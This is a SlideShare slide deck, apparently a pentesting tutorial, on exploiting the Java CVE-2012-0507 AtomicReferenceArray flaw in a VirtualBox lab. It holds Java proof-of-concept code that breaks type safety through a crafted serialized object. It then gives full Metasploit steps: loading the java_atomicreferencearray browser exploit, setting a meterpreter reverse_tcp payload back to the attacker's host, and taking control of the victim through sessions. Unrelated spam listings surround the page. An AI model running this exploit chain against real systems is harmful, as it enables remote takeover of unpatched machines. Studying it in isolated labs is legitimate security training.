SlideShare una empresa de Scribd logo
1 de 25
PenTesting Tutorials:
www.BreakTheSecurity.com
About CVE-2012-0507
   A vulnerability in the JRE due to the fact that The
    AtomicReferenceArray class implementation did
    not properly check if the array is of an expected
    Object[] type. The vulnerability found by Jeroen
    Frijters

   A malicious Java application or applet could use
    this flaw to cause Java Virtual Machine(JVM) to
    crash or bypass Java sandbox restrictions.
public AtomicReferenceArray(E[] array) {
     this.array = array.clone();
}
import java.util.concurrent.atomic.*;
class first
{
}
public violateClass
{
public static void main(String a[])
{
Object obj=new first();
AtomicReferenceArray r=new AtomicReferenceArray(new
    first[1]);
obj="Hell";
r.set(0,obj);
first f=(first)r.get(0);
}
}
Exploiting
By manually constructing a serialized
object graph you can stick any array you
want into an AtomicReferenceArray
instance and then use the
AtomicReferenceArray.set() method to
write an arbitrary reference to violate type
safety.
Arbitrary reference to violate
type safety.
 import java.io.*;
 import java.util.concurrent.atomic.*;
 class Union1 { }
 class Union2 { }
 public class test
 {
   static byte[] buf = new byte[] {
     -84, -19, 0, 5, 117, 114, 0, 19, 91, 76, 106, 97, 118, 97, 46, 108, 97, 110, 103,
     46, 79, 98, 106, 101, 99, 116, 59, -112, -50, 88, -97, 16, 115, 41, 108, 2, 0,
     0, 120, 112, 0, 0, 0, 2, 117, 114, 0, 9, 91, 76, 85, 110, 105, 111, 110, 49, 59,
     -2, 44, -108, 17, -120, -74, -27, -1, 2, 0, 0, 120, 112, 0, 0, 0, 1, 112, 115,
     114, 0, 48, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 99, 111, 110, 99, 117,
     114, 114, 101, 110, 116, 46, 97, 116, 111, 109, 105, 99, 46, 65, 116, 111, 109,
     105, 99, 82, 101, 102, 101, 114, 101, 110, 99, 101, 65, 114, 114, 97, 121, -87,
     -46, -34, -95, -66, 101, 96, 12, 2, 0, 1, 91, 0, 5, 97, 114, 114, 97, 121, 116,
     0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101,
     99, 116, 59, 120, 112, 113, 0, 126, 0, 3
   };
     public static void main(String[] args) throws Throwable
     {
       ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buf));
       Object[] arr = (Object[])ois.readObject();
       Union1[] u1 = (Union1[])arr[0];
       AtomicReferenceArray ara = (AtomicReferenceArray)arr[1];
       ara.set(0, new Union2());
       System.out.println(u1[0]);
     }
 }
Requirements:
    VirtualBox
    Target OS(windows,...)
    PenTesting Distro(Backtrack )
    JRE 6(unpatched version)
Preparing Target Machine
   Start the "Target" Machine.

    Install the JRE 6.(I have already
    installed the JRE)
Preparing Attacker Machine
 Now, start the BT5.
 Open the Terminal and Type
  "msfupdate". This will update the Metasploit
  Framework(MSF) with the latest exploits.
 Open the Terminal and type msfconsole
 Now type :
     use exploit/multi/browser/java_atomicreferencearray
   The above command will use the
    java_atomicreferencearray.rb module for the attack.
   Now type "show options" to display the
    settings available and/or required for this
    specific module.
 set SRVPORT 80
 set URIPATH /
 set SRVHOST [Backtrack_ip]


How to get IP of Backtrack:

    ○ open the Terminal
    ○ Type ifconfig
    ○ It will display the IP
Payload
   Type "show payloads“ . This will displays the
    list of payloads available to use

   I am going to use the reverse_tcp payload.
    This payload will get reverse tcp connection
    from the Target to our machine.

   Type set payload java/meterpreter/reverse_tcp
 In order to get reverse connection, we
  have to set Backtrack IP in the LHOST.
 So type the following command:
     set LHOST [Backtrack_IP]
Are you ready?! Let us
 We have setup everything needed for the
  Exploit. So it is time to break into the Target
  machine.
 Type "exploit" in the msfconsole.
   This will start the reverse handler to our
    Machine and it will wait anyone that will
    connect to the our HTTP server (Eg:
    http://192.168.56.102)

    Once victim connect to our server, it will send
    a jar will that will exploit the CVE-2012-0507
    vulnerability.
Victim side
   We have set up our exploit. Let us see what
    happen when our victim open our url.

   Go to the “Target” VM.
   Open the Firefox
   Enter the url you got from the you got from the
    metasploit exploit:
    Eg: http://192.168.56.102

   No need to care about the „80‟ in the URL becoz
    It is default port 
   It loads nothing

 but in background :
 The Backtrack sends a jar file and
  exploit the vulnerability.
 After successful exploit, it brings control
  to Backtrack 
    Now type "sessions“ in the metasploit
    console, this will display the list of
    active sessions(victims list)
    Type "sessions -i 1", this will open the
    connection to the session with the id '1' and
    bring you to Meterpreter

    Meterpreter will help you to interact/control with
    the Target
Exploited in the Wild
   On April 2012, The research conducted by
    Dr.Web determined that more than 600,000
    Mac computers are infected with
    BackDoor.Flashback botnet.

   Included in Exploit kits
 I hope this article has given you a good
  insight into how to use MetaSploit Framework
  to exploit the Java vulnerability.
 I hope this will help you to get into the
  PenTesting world..!

         For more PenTesting Tutorials :
           www.BreakTheSecurity.com

Más contenido relacionado

Último

The basics of sentences session 3pptx.pptx
The basics of sentences session 3pptx.pptxThe basics of sentences session 3pptx.pptx
The basics of sentences session 3pptx.pptx
heathfieldcps1
 
Jual Obat Aborsi Hongkong ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...
Jual Obat Aborsi Hongkong ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...Jual Obat Aborsi Hongkong ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...
Jual Obat Aborsi Hongkong ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...
ZurliaSoop
 

Último (20)

Fostering Friendships - Enhancing Social Bonds in the Classroom
Fostering Friendships - Enhancing Social Bonds  in the ClassroomFostering Friendships - Enhancing Social Bonds  in the Classroom
Fostering Friendships - Enhancing Social Bonds in the Classroom
 
How to setup Pycharm environment for Odoo 17.pptx
How to setup Pycharm environment for Odoo 17.pptxHow to setup Pycharm environment for Odoo 17.pptx
How to setup Pycharm environment for Odoo 17.pptx
 
The basics of sentences session 3pptx.pptx
The basics of sentences session 3pptx.pptxThe basics of sentences session 3pptx.pptx
The basics of sentences session 3pptx.pptx
 
OSCM Unit 2_Operations Processes & Systems
OSCM Unit 2_Operations Processes & SystemsOSCM Unit 2_Operations Processes & Systems
OSCM Unit 2_Operations Processes & Systems
 
COMMUNICATING NEGATIVE NEWS - APPROACHES .pptx
COMMUNICATING NEGATIVE NEWS - APPROACHES .pptxCOMMUNICATING NEGATIVE NEWS - APPROACHES .pptx
COMMUNICATING NEGATIVE NEWS - APPROACHES .pptx
 
General Principles of Intellectual Property: Concepts of Intellectual Proper...
General Principles of Intellectual Property: Concepts of Intellectual  Proper...General Principles of Intellectual Property: Concepts of Intellectual  Proper...
General Principles of Intellectual Property: Concepts of Intellectual Proper...
 
21st_Century_Skills_Framework_Final_Presentation_2.pptx
21st_Century_Skills_Framework_Final_Presentation_2.pptx21st_Century_Skills_Framework_Final_Presentation_2.pptx
21st_Century_Skills_Framework_Final_Presentation_2.pptx
 
Jual Obat Aborsi Hongkong ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...
Jual Obat Aborsi Hongkong ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...Jual Obat Aborsi Hongkong ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...
Jual Obat Aborsi Hongkong ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...
 
Single or Multiple melodic lines structure
Single or Multiple melodic lines structureSingle or Multiple melodic lines structure
Single or Multiple melodic lines structure
 
How to Manage Global Discount in Odoo 17 POS
How to Manage Global Discount in Odoo 17 POSHow to Manage Global Discount in Odoo 17 POS
How to Manage Global Discount in Odoo 17 POS
 
TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...
TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...
TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...
 
REMIFENTANIL: An Ultra short acting opioid.pptx
REMIFENTANIL: An Ultra short acting opioid.pptxREMIFENTANIL: An Ultra short acting opioid.pptx
REMIFENTANIL: An Ultra short acting opioid.pptx
 
Understanding Accommodations and Modifications
Understanding  Accommodations and ModificationsUnderstanding  Accommodations and Modifications
Understanding Accommodations and Modifications
 
NO1 Top Black Magic Specialist In Lahore Black magic In Pakistan Kala Ilam Ex...
NO1 Top Black Magic Specialist In Lahore Black magic In Pakistan Kala Ilam Ex...NO1 Top Black Magic Specialist In Lahore Black magic In Pakistan Kala Ilam Ex...
NO1 Top Black Magic Specialist In Lahore Black magic In Pakistan Kala Ilam Ex...
 
ICT role in 21st century education and it's challenges.
ICT role in 21st century education and it's challenges.ICT role in 21st century education and it's challenges.
ICT role in 21st century education and it's challenges.
 
Graduate Outcomes Presentation Slides - English
Graduate Outcomes Presentation Slides - EnglishGraduate Outcomes Presentation Slides - English
Graduate Outcomes Presentation Slides - English
 
Wellbeing inclusion and digital dystopias.pptx
Wellbeing inclusion and digital dystopias.pptxWellbeing inclusion and digital dystopias.pptx
Wellbeing inclusion and digital dystopias.pptx
 
Towards a code of practice for AI in AT.pptx
Towards a code of practice for AI in AT.pptxTowards a code of practice for AI in AT.pptx
Towards a code of practice for AI in AT.pptx
 
HMCS Max Bernays Pre-Deployment Brief (May 2024).pptx
HMCS Max Bernays Pre-Deployment Brief (May 2024).pptxHMCS Max Bernays Pre-Deployment Brief (May 2024).pptx
HMCS Max Bernays Pre-Deployment Brief (May 2024).pptx
 
Tatlong Kwento ni Lola basyang-1.pdf arts
Tatlong Kwento ni Lola basyang-1.pdf artsTatlong Kwento ni Lola basyang-1.pdf arts
Tatlong Kwento ni Lola basyang-1.pdf arts
 

Destacado

Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie Insights
Kurio // The Social Media Age(ncy)
 
Good Stuff Happens in 1:1 Meetings: Why you need them and how to do them well
Good Stuff Happens in 1:1 Meetings: Why you need them and how to do them wellGood Stuff Happens in 1:1 Meetings: Why you need them and how to do them well
Good Stuff Happens in 1:1 Meetings: Why you need them and how to do them well
Saba Software
 

Destacado (20)

Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie Insights
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search Intent
 
How to have difficult conversations
How to have difficult conversations How to have difficult conversations
How to have difficult conversations
 
Introduction to Data Science
Introduction to Data ScienceIntroduction to Data Science
Introduction to Data Science
 
Time Management & Productivity - Best Practices
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best Practices
 
The six step guide to practical project management
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project management
 
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
 
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
 
12 Ways to Increase Your Influence at Work
12 Ways to Increase Your Influence at Work12 Ways to Increase Your Influence at Work
12 Ways to Increase Your Influence at Work
 
ChatGPT webinar slides
ChatGPT webinar slidesChatGPT webinar slides
ChatGPT webinar slides
 
More than Just Lines on a Map: Best Practices for U.S Bike Routes
More than Just Lines on a Map: Best Practices for U.S Bike RoutesMore than Just Lines on a Map: Best Practices for U.S Bike Routes
More than Just Lines on a Map: Best Practices for U.S Bike Routes
 
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...
 
Barbie - Brand Strategy Presentation
Barbie - Brand Strategy PresentationBarbie - Brand Strategy Presentation
Barbie - Brand Strategy Presentation
 
Good Stuff Happens in 1:1 Meetings: Why you need them and how to do them well
Good Stuff Happens in 1:1 Meetings: Why you need them and how to do them wellGood Stuff Happens in 1:1 Meetings: Why you need them and how to do them well
Good Stuff Happens in 1:1 Meetings: Why you need them and how to do them well
 

Exploiting java vulnerability [CVE-2012-0507 ]

  • 2.
  • 3. About CVE-2012-0507  A vulnerability in the JRE due to the fact that The AtomicReferenceArray class implementation did not properly check if the array is of an expected Object[] type. The vulnerability found by Jeroen Frijters  A malicious Java application or applet could use this flaw to cause Java Virtual Machine(JVM) to crash or bypass Java sandbox restrictions.
  • 4. public AtomicReferenceArray(E[] array) { this.array = array.clone(); }
  • 5. import java.util.concurrent.atomic.*; class first { } public violateClass { public static void main(String a[]) { Object obj=new first(); AtomicReferenceArray r=new AtomicReferenceArray(new first[1]); obj="Hell"; r.set(0,obj); first f=(first)r.get(0); } }
  • 6. Exploiting By manually constructing a serialized object graph you can stick any array you want into an AtomicReferenceArray instance and then use the AtomicReferenceArray.set() method to write an arbitrary reference to violate type safety.
  • 7. Arbitrary reference to violate type safety. import java.io.*; import java.util.concurrent.atomic.*; class Union1 { } class Union2 { } public class test { static byte[] buf = new byte[] { -84, -19, 0, 5, 117, 114, 0, 19, 91, 76, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 79, 98, 106, 101, 99, 116, 59, -112, -50, 88, -97, 16, 115, 41, 108, 2, 0, 0, 120, 112, 0, 0, 0, 2, 117, 114, 0, 9, 91, 76, 85, 110, 105, 111, 110, 49, 59, -2, 44, -108, 17, -120, -74, -27, -1, 2, 0, 0, 120, 112, 0, 0, 0, 1, 112, 115, 114, 0, 48, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 99, 111, 110, 99, 117, 114, 114, 101, 110, 116, 46, 97, 116, 111, 109, 105, 99, 46, 65, 116, 111, 109, 105, 99, 82, 101, 102, 101, 114, 101, 110, 99, 101, 65, 114, 114, 97, 121, -87, -46, -34, -95, -66, 101, 96, 12, 2, 0, 1, 91, 0, 5, 97, 114, 114, 97, 121, 116, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 120, 112, 113, 0, 126, 0, 3 }; public static void main(String[] args) throws Throwable { ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buf)); Object[] arr = (Object[])ois.readObject(); Union1[] u1 = (Union1[])arr[0]; AtomicReferenceArray ara = (AtomicReferenceArray)arr[1]; ara.set(0, new Union2()); System.out.println(u1[0]); } }
  • 8.
  • 9. Requirements:  VirtualBox  Target OS(windows,...)  PenTesting Distro(Backtrack )  JRE 6(unpatched version)
  • 10. Preparing Target Machine  Start the "Target" Machine.  Install the JRE 6.(I have already installed the JRE)
  • 11. Preparing Attacker Machine  Now, start the BT5.  Open the Terminal and Type "msfupdate". This will update the Metasploit Framework(MSF) with the latest exploits.
  • 12.  Open the Terminal and type msfconsole  Now type : use exploit/multi/browser/java_atomicreferencearray  The above command will use the java_atomicreferencearray.rb module for the attack.
  • 13. Now type "show options" to display the settings available and/or required for this specific module.
  • 14.  set SRVPORT 80  set URIPATH /  set SRVHOST [Backtrack_ip] How to get IP of Backtrack: ○ open the Terminal ○ Type ifconfig ○ It will display the IP
  • 15. Payload  Type "show payloads“ . This will displays the list of payloads available to use  I am going to use the reverse_tcp payload. This payload will get reverse tcp connection from the Target to our machine.  Type set payload java/meterpreter/reverse_tcp
  • 16.  In order to get reverse connection, we have to set Backtrack IP in the LHOST.  So type the following command: set LHOST [Backtrack_IP]
  • 17. Are you ready?! Let us
  • 18.  We have setup everything needed for the Exploit. So it is time to break into the Target machine.  Type "exploit" in the msfconsole.
  • 19. This will start the reverse handler to our Machine and it will wait anyone that will connect to the our HTTP server (Eg: http://192.168.56.102)  Once victim connect to our server, it will send a jar will that will exploit the CVE-2012-0507 vulnerability.
  • 20. Victim side  We have set up our exploit. Let us see what happen when our victim open our url.  Go to the “Target” VM.  Open the Firefox  Enter the url you got from the you got from the metasploit exploit: Eg: http://192.168.56.102  No need to care about the „80‟ in the URL becoz It is default port 
  • 21. It loads nothing but in background :  The Backtrack sends a jar file and exploit the vulnerability.  After successful exploit, it brings control to Backtrack 
  • 22. Now type "sessions“ in the metasploit console, this will display the list of active sessions(victims list)
  • 23. Type "sessions -i 1", this will open the connection to the session with the id '1' and bring you to Meterpreter  Meterpreter will help you to interact/control with the Target
  • 24. Exploited in the Wild  On April 2012, The research conducted by Dr.Web determined that more than 600,000 Mac computers are infected with BackDoor.Flashback botnet.  Included in Exploit kits
  • 25.  I hope this article has given you a good insight into how to use MetaSploit Framework to exploit the Java vulnerability.  I hope this will help you to get into the PenTesting world..!  For more PenTesting Tutorials : www.BreakTheSecurity.com